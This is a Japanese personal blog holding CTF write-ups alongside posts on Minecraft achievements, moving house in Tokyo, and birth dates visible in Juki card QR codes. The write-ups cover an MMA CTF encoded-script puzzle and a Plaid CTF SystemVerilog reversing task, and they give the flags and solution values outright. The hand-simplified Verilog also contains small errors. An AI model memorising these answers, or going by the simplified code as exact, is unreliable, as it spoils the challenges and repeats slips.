Alicegame

すごく単純な問題なのに解けなかった。悔しいけど、すごい。

MQAAAA

問題文のBase64を復号すると、

#@~^MQAAAA== Um.bwDR+1tKcJtH)    Dtnm6VlTmhKDN|rd{K46EdmCObWU8rbjRIAAA==^#~@

何か見覚えがあるんだが、何だったかな……と思ったら、WSHの暗号化だった。拡張子を.jseに変えれば良い。

MMA{the_flag_word_is_obfuscation}

Perfect Matching

完全マッチングを求める問題。最大フローに帰着して……というのは二部グラフの場合。一般グラフの場合は面倒だと蟻本に書いてあった。Boostに実装がある。呼び出し方はこんな感じ。

#include <iostream>
#include <vector>
#include <boost/graph/adjacency_list.hpp>
#include <boost/graph/max_cardinality_matching.hpp>

using namespace std;
using namespace boost;

int main()
{
    int n; cin>>n;
    adjacency_list<> g(n);
    for (int i=0; i<n; i++)
    {
        int c;
        cin>>c;
        for (int j=0; j<c; j++)
        {
            int t;
            cin>>t;
            add_edge(i, t, g);
        }
    }

    vector<adjacency_list<>::vertex_descriptor> mate(n);
    if (checked_edmonds_maximum_cardinality_matching(g, &mate[0]))
    {
        for (int i=0; i<n; i++)
            cout<<mate[i]<<endl;
    }
    else
        cout<<"failed"<<endl;

    return 0;
}

10000点くらいなら一瞬で解いてくれる。すごい。あとはこれをPythonから呼び出す。で、試してみたら後半は完全マッチングが見つからない。問題ジャンルにPwnが追加された意味を考えましょう。他の人の解答。普段Pythonを使っているのにこれに気が付かなかったのは悔しい。

マインクラフト1.8で実績をコンプリートした

ゴールデンウィークに何か目標を持って遊ぼうということで、マインクラフトの実績コンプリートを目指すことにした。 結局、終わったのは5月末になってしまったけど、プレイ時間は78時間だったから、ちょうど良い難易度だったのでは。

マインクラフトとは

公式サイト。 いわゆる箱庭ゲーム。 箱庭ゲームだから好きなように遊べば良いけど、一応ボスを倒すとエンディングが見られる。 Windows版は3000円くらい。 値段分の価値は充分にあるので、とりあえず買って遊ぶべき。

サーバー

PC単体でも遊べるけど、サーバーを立てれば複数人でも遊べる。 公式サイトの説明ではメモリ1GBを確保しろと書いてある。 さくらのVPS 2Gに置いたら処理落ちしたけど、これは同じサーバーの上で仮想マシンを動かしているからで、他に重いものが無ければこれで充分だという印象。 結局、古いPCをサーバーにした。CPUはCore i7 2.8GHz、メモリ12GB。特に問題無く動いた。

会社の人を誘ったがあまり釣れず、ほとんど一人で遊んでいたので、シングルプレイで良かったかもしれない。

実績

Wikiに一覧がある。

4月27日 Taking Inventory

最初の実績。Eを押すだけ。

4月27日 Getting Wood

木を殴るだけ。

4月27日 Benchmarking

作業台を作るだけ。

4月27日 Time to Farm!

クワを作るだけ。

4月27日 Time to Strike!

剣を作るだけ。

4月27日 Time to Mine!

ツルハシを作るだけ。

4月27日 Getting an Upgrade

石のツルハシを作るだけ。

4月27日 Hot Topic

カマドを作るだけ。

4月27日 Cow Tipper

牛を殺して、皮を手に入れるだけ。

4月27日 Monster Hunter

モンスターを殺すだけ。

4月27日 Bake Bread

小麦を栽培して、小麦からパンを作る。

4月27日 Acquire Hardware

鉄鉱石を採掘して、精錬して鉄を手に入れる。 鉄鉱石は海面より深いところにある。

4月27日 Repopulation

牛に小麦を与えて増やす。

4月27日 Delicious fish

クモを倒して糸を手に入れて、釣り竿を作り、魚を釣って、カマドで焼く。

4月27日 DIAMONDS!

ダイヤモンドを採掘する。鉄のツルハシを使わないと、採掘できない。

4月28日 We Need to Go Deeper

ダイヤモンドのツルハシを使って黒曜石を採掘し、ネザーゲートを作って、ネザーに行く。

4月28日 The Lie

ケーキを作る。材料は小麦、砂糖、牛乳、卵。

4月28日 Enchanter

エンチャントテーブルを作る。

4月29日 Into Fire

ブレイズを倒してブレイズロッドを手に入れる。 ブレイズはネザー要塞にしかいないので、ネザー要塞を見つける必要がある。 z軸に沿って生成されるから、z軸方向に進むだけだと運が悪いと見つからない。 ひたすらx軸方向に歩いて、黒いブロックを探す。 溶岩のすぐ上くらいの高さのほうが歩くのが楽だった。 ネザー要塞は危険なので、近くにネザーゲートを作って、通常世界にベッドを置いておくと良い。

4月29日 When Pigs Fly

どこかのチェストの中からサドルを手に入れ、村からニンジンをパクってニンジンをぶら下げた釣り竿を作って、豚を操って高い所から落とす。

4月29日 Local Brewery

ポーション醸造する。 醸造台を作るためにブレイズロッドが必要。

4月29日 Diamonds to you!

誰かにダイヤモンドをあげる。 たまたまログインしていた某氏にあげた。 相手がいなければゾンビにあげても良いらしい。

4月29日 Librarian

本棚を作る。 作った本棚はエンチャントテーブルの近くに置くと、エンチャントテーブルが強化される。

5月2日 Overpowered

金のリンゴ(金インゴットではなく金ブロックのほう)を作る。 金インゴットが72個必要。 金は使い道が無いので、そのうち溜まる。

5月2日 Overkill

一撃でハート9個分のダメージを与える。 ダイヤの剣+力のポーションⅡ+クリティカル(落下中攻撃)でいける。 力のポーションⅡを作るには、ネザーウォート、ブレイズロッド、グロウストーンダストが必要。

5月2日 Sniper Duel

50m以上離れた場所から弓矢でスケルトンを倒す。 こんな感じで目印となる線を引いて、ここより遠くにいるスケルトンを狙った。

5月4日 The End?

エンドに行く。 まずはエンダーマンを倒してエンダーパールを集める。 エンダーマンの出現率が低くてつらい。

エンダーアイで要塞を探す。 正面に投げると後ろに飛んでいったときに見失うので、真下に投げると良い。 以前に作ったツールで要塞の場所を計算できる。100mくらい離れて2個のエンダーアイを投げて、算出された地点に行って同じように2個投げればだいたい見つかる。

エンドポータルにエンダーアイをセットするとき、横着して遠くからセットしようとしたら、エンダーアイを投げた扱いになってしまい泣いた。

5月4日 The End.

エンダードラゴンを倒す。鉄装備+矢100本くらい+ダイヤの剣+ツルハシ+スコップ+土(島から離れた場所にポータルができたときと、高い所にあるエンダークリスタルを狙う用)で行けた。エンダーマンは水で沈静化するより、倒してしまったほうが早いと思う。

5月4日 Return to Sender

ガストをガストの炎で倒す。 タイミングが難しいけど、1回当てれば倒せるので何とかなる。

5月6日 The Beginning?

ウィザーを出現させる。 ウィザーの出現に必要なウィザースケルトンの頭を3個集めるのがつらかった。 そもそも出現率が低い上に、レアドロップ……。 ネザー要塞を暗くしてウロウロした。 回廊の上にも湧く。

5月6日 The Beginning.

ウィザーを倒す。 ブランチマイニングした穴の奥で出現させると簡単らしい。 が、地下峡谷の近くで出現させたら明後日の方向に行ってしまった。 どうしようもないので、ズルだが、セーブデータをバックアップから戻した。 ウィザーが逃げた場合にズルしないで対処するにはどうしたら良いのだろう……。

5月9日 On A Rail

トロッコで1km移動する。 レールを1000本作るためには鉄インゴットが375個必要。 バイオーム探しのついでに廃坑が見つかると、だいぶ線路が稼げる。

5月9日 Beaconator

ビーコンを最大出力にする。 鉄や金のインゴットが1476個(=23スタック)必要。 ブランチマイニングで採掘せずとも、バイオーム探しの途中で見つけた洞窟や渓谷の中に入って、壁に見えている鉱石を掘ると溜まる。

5月26日 Adventuring Time

これが一番大変だった。 ゲーム中の説明では全てのバイオームの発見だが、実際はここに載っている次の36個のバイームで良い。Ice Plains SpikesやSunflower Plainsは見つけなくても良い。

  • Beach
  • Birch Forest
  • Birch Forest Hills
  • Cold Beach
  • Cold Taiga
  • Cold Taiga Hills
  • Deep Ocean
  • Desert
  • Desert Hills
  • Extreme Hills
  • Extreme Hills+
  • Forest
  • ForestHills
  • FrozenRiver
  • Ice Mountains
  • Ice Plains
  • Jungle
  • Jungle Edge
  • Jungle Hills
  • Mega Taiga
  • Mega Taiga Hills
  • Mesa
  • Mesa Plateau
  • Mesa Plateau F
  • Mushroom Island
  • MushroomIslandShore
  • Ocean
  • Plains
  • River
  • Roofed Forest
  • Savanna
  • Savanna Plateau
  • Stone Beach
  • Swampland
  • Taiga
  • Taiga Hills

同じ場所を探してしまうと無駄なので、地図を作ってウロウロする。 ジャングル、メガタイガ、メサ、マッシュルームアイランド以外はすぐに見つかる。 Beaconatorを達成して鉄鉱石が不要になったら、あとは海を進んだほうが安全。 マッシュルームアイランドは島だから海にしかない。 その他のレアバイオームは大きいので、1km間隔くらいで歩けば良さそう。 このくらい歩いてようやく全部見つかった。 マッシュルームアイランドとジャングルはこの中に2個ある。

ステータス

world\statsの中にJSON形式で、現在のプレイ時間などが書かれている。 Chromeの開発者ツールに、 x = に続けて貼り付けると見やすくなる。

プレイ時間は、stat.playOneMinuteで、OneMinuteと書いてあるけど実際はtick(1/20秒)単位らしい。 72000で割ると時間になる。

走った距離(stat.sprintOneCm)は11501929cm(=115km)で、死んだ回数(stat.deaths)は230回だった。 ゾンビ豚に殺されまくった。

地図の公開

全実績を達成したので、Minecraft Overviewerを入れてみた。 Googleマップのように眺められて面白い。

http://sanya.sweetduet.info/minecraft/

全領域を事前にレンダリングするらしく、このマップで所要時間とファイルサイズは、3時間と11GBくらいだった。 PC2台が点けっぱなしだと部屋が暑いので、そのうち消す。

Plaid CTF 2015 ECE's Revenge2 Write-up

1問だけ解いた。

http://play.plaidctf.com/files/final_8ce2c1db4ce9e96bcc859ded79fba21c.sv

SystemVerilogのコード。最終的にwinが1となるような入力を求めよという問題。

実際にシミュレータで動かせれば楽だったけど、いくつかシミュレーターを試しても動かなかったので、手で解いた。

問題のコードを次のように直す。

  • part_aからpart_dの中身を呼び出し元に展開
  • if (定数) となるif分を削除
  • reset_Lを~resetにというように、単にassingされている変数を置き換えていく
  • s_lとs_hはis_lの下位ビットと上位ビットなので、is_lに置き換え
  • IMO1-IMO4を使った処理は、 assign im_f = user_in[is_i] と等価

こうなる。

`default_nettype none
module testbench;
   logic clock, win;
   logic [9:0] counter;
   logic [31:0] user_in;

   datapath d(.*);

   initial begin
      clock = 0;
      // Fill in the constant such that when the circuit hits cycle 360, 
      // the logic "win" should be high. 
      user_in = 32'b????????????????????????????????;
      reset = 1;
      #5 clock = ~clock;
      #5 clock = ~clock;
      #5 clock = ~clock;
      reset <= #1 0;
      for(counter = 0; counter < 70; counter++) begin
        #5 clock = ~clock;
      end

   end
   
endmodule : testbench

module datapath(
    input logic clock
    input logic [31:0] user_in,
    output logic win);

   logic [3:0] r1_out, r2_out;
   logic i_g_o, reset, init;
   logic init_delay;
   logic [7:0] is_i;

   always @(posedge clock) begin
    if (reset)
      is_i <= 0;
    else begin
      is_i <= ~init ? (is_i + 1) : is_i;
    end
  end

  always_ff @(posedge reg_en, posedge reset) begin
     if(~reset) begin
       r1_out <= r1_out + r2_out + init_delay;
     end
     else
       r1_out <= 0;
   end
   
   always_ff @(posedge ~reg_en, posedge reset) begin
     if(~reset) begin
       r2_out <= r1_out + r2_out + init_delay;
     end
     else
       r2_out <= 0;
   end
   
   always_ff @(posedge clock, posedge reset) begin
     if(~reset) begin
       i_g_o <= i_g_o | user_in[is_i]^{r2_out, r1_out}[is_i[2:0];
       init <= 0;
       win <= win | (~(i_g_o | user_in[is_i]^{r2_out, r1_out}[is_i[2:0]) & (is_i == 8'b00011111));
       init_delay <= init;
     end
     else
       i_g_o <= 0;
       init <= 1;
       win <= 0;
       init_delay <= 0;
   end
   
   assign reg_en = init | is_i[2];

endmodule: datapath

ハードウェアなので、上から順番に実行ではなく、 assign で繋がれている所は代入元が変化したら代入先も常に変化する。 <= の代入も上から順番ではなく、上の @ のところに書かれているタイミング(posedge xx が0から1になった瞬間)に同時に起こる。

このプログラムが結局何をしているかというと、 reset が1のときに初期化し、以降は clock が変化する度に is_i をカウントアップし、 user_inis_i ビット目が {r2_out, r1_out}[is_i[2:0]] に等しいかを調べている。 r1_outr2_outreg_en が変化したタイミングで足しあわされる。

よって、次のPythonプログラムで、 user_in に入れるべき値が分かる。

answer = []

r1_out = 0
r2_out = 0
reg_en_prev = 1
init_delay = 1

for i in range(32):
    answer += [(r2_out<<4|r1_out)>>(i&7)&1]

    a_out = r1_out + r2_out + init_delay
    init_delay = 0
    reg_en = i>>2&1
    if reg_en_prev==0 and reg_en==1:
        r1_out = a_out
    if reg_en_prev==1 and reg_en==0:
        r2_out = a_out
    reg_en_prev = reg_en

print "".join(map(str, answer[::-1]))
01111100101110000001010000010000

引っ越し2015

社員寮(借り上げマンション)に住んでいたけど、退寮期限が来たので引っ越した。実家 → 大学の寮 → アパート → 社員寮 → 今のマンション、と引っ越しているので、自分で引っ越し先を探すのは2回目。

日程

クリーニングとかがあるから2月末には社員寮を出ないといけなかった。

  • 2014年10月末 同期が不動産屋に行くというので一緒に行ってみる
  • 2014年12月末 そろそろ決めないとマズいかと思い、不動産屋へ。資料をもらったけど、内見には年明けに行くと言ったら、状況が変わっているかもしれないので年明けにまた考えましょう、と。すぐに内見に行かないと意味が無いらしい。
  • 2015年1月10日 内見に行く
  • 2015年1月11日 そのうちの1部屋に決めて、話を進めてくれと連絡
  • 2015年1月16日 審査が通ったとの連絡
  • 2015年1月26日 契約。契約書ができあがるのが26日なので、26日以降でと言われた
  • 2015年1月31日 契約開始日。この日以降にはできないと言われた。
  • 2015年2月1日 引っ越し業者に申込み
  • 2015年2月18日 引っ越し

契約開始日から引っ越しまで間があるのは退寮手続きの関係でどちらにいても金が変わらないことと、引越しの荷造りのため。1か月もあれば余裕で引っ越せるっぽい。むしろ契約開始を遅らせられないので、引っ越し元を出る日が決まっているなら、早すぎるとかえって損しそう。とはいえ、同期は1か月くらいあちこち見て回っていたけど。

仙台はだいたいどこも敷金2か月礼金1か月だったけど、東京は物件によってマチマチ。敷金無し礼金無しもけっこうあった。不動産屋が言うには、年明けくらいになると物件が増えてきて、需要も増え、敷金とか礼金とかも高くなってくると。

だいたいどこも退去時にクリーニング費用を借り主が払う特約が付いているらしい。礼金に含めてほしい。

連帯保証人ではなく、保証会社必須のところがほとんどだった。保証会社に払う金は家賃の40%から100%くらいで、安い会社だと審査が厳しいのでクレジットカードを滞納したことがあったりすると、落ちるらしい。

部屋選び

立地

東京なんだしどこに住んでもスーパーとか本屋くらいはあるだろうと思って、会社からの距離だけを考えていたけど、意外と周囲の店が何も無かった。小さなスーパー(マイバスケット)くらい。休日の食事とかに困るのでもう少し考えるべきだったかもしれない。とはいえ困るのは休日くらいで、平日は会社にすぐ行けて楽なので、あまり後悔はしていない。

設備

敷地内ゴミ捨て場、BSアンテナ、Bフレッツ(できればLAN配線)、宅配ボックスが欲しかった。ちょっと高めの物件を見ていたので、このくらいは全部付いているかと思ったら意外と無いところも多かった。

内見して壁の端子にLANポートがあるからLAN配線だと思ったら、LAN配線はあるけど使っていないとのことでVDSLだった。ひどい。無料インターネットはショボいと何となく思っていたけど、回線速度も速くて、グローバルIP複数使えたりするところもあるらしい。インターネットのことを不動産屋に聞いても分からなそうだし、どうやって見分ければ良いのだろう。

風呂が狭くなった。風呂に入る分には構わないけど、浴室乾燥を使うときにちょっと窮屈。独立洗面台なんて要らないと思って、無い部屋にしたけど、あったらあったで便利だった。

大学の寮はエレベーター無しの5階、アパートは1階、社員寮は2階で主に階段を使っていたので、日常的にエレベーターを使うのが実は初めて、けっこう面倒くさい。高層階の外廊下がとても怖かったけど、1週間くらいで慣れた。そもそも普段は下を覗き込むことがない。

手続き諸々

電気の手続きが最後のほうだからあまり使わなかったけど、東京電力引越れんらく帳が便利そうだった。電気と水道は使える状態になっているので、引っ越してから手続きしても大丈夫だけど、ガスは開栓手続きが必要なので事前に連絡しておかないとまずい。インフラの手続きは領収書に書いてある番号があればインターネットでできるので、引っ越し前は領収書を取っておくべきだった。

Amazonの予約商品の住所変更を忘れると、前の住所に届いてしまうので危険。

東京都内だからテレビのチャンネルはそののままで良いかと思ったら、Tokyo MXのチャンネルが変わっていて、録画に失敗した。良く分かっていないけど、マンションの屋上にアンテナが付いているのではなく、ケーブルテレビで受信していて、ケーブルテレビがチャンネルを変更しているとかだろうか……。

その他

荷物が段ボール箱だけで60箱くらいあった。主に本。次に引っ越す時までに減らそう……。段ボール箱が急いで必要なときは、ヤマトの営業所に行くと売ってくれる。高いけど2重のしっかりした段ボール箱。

社員寮にポスターレールが付いていて、せっかくだからとポスターを掛けておいたら、ポスターフレームの裏が黒ずんでいて、壁紙の張り替え費用を請求されそうだった。ポスターフレームの台紙が発泡スチロールのような素材だったので、静電気でホコリを引き寄せたとかだろうか……。

住基カードのQRコード

確定申告のために10年ぶりに住基カードを取得した。QRコードが付いていたので、試しに読み取ってみたら、生年月日(元号の下2桁+月+日)が書かれていた。

住基カード」でイメージ検索をしてみると、カードに印字されている生年月日は塗りつぶしているのに、QRコードはそのままの人がいる。一応消しているけど、消し方が甘い人もいる。QRコードの訂正能力ならかなり潰しても情報は読み取れそう。

住基カードをネットに晒してしまう人が悪いのか、個人情報をぱっと見では分からない形(QRコード)にして印刷するほうが悪いのか……。

ちなみに、生年月日がQRコードに入っている理由は次の通りらしい。

QRコードは、券面事項をICチップに記録したカードであることが見て分かるように印刷されています。QRコードとICチップ内の情報の組み合わせにより、年齢確認が可能であり、年齢別の優待割引など将来的に様々な分野での利用拡大も期待されています。

http://juki-card.com/about/

何を馬鹿なことを言っているのだという気がするけど、良く考えてみると、ありな気もしてくる。詳しくない人が、QRコードの無いカードとあるカードを見せられて、「どちらにICが入っているでしょう?」と訊かれたら、QRコードのあるほうを指さしそう。自治体によっては非接触式のみで、金色の端子が無いところもあるらしい。

とはいえ、ICチップ入りを見分けるためなら「ICカード」って書いておけば済む話だし、年齢確認も住基カードで本人確認をするのなら印字されている生年月日を見れば良いし、何か他にも理由がありそう。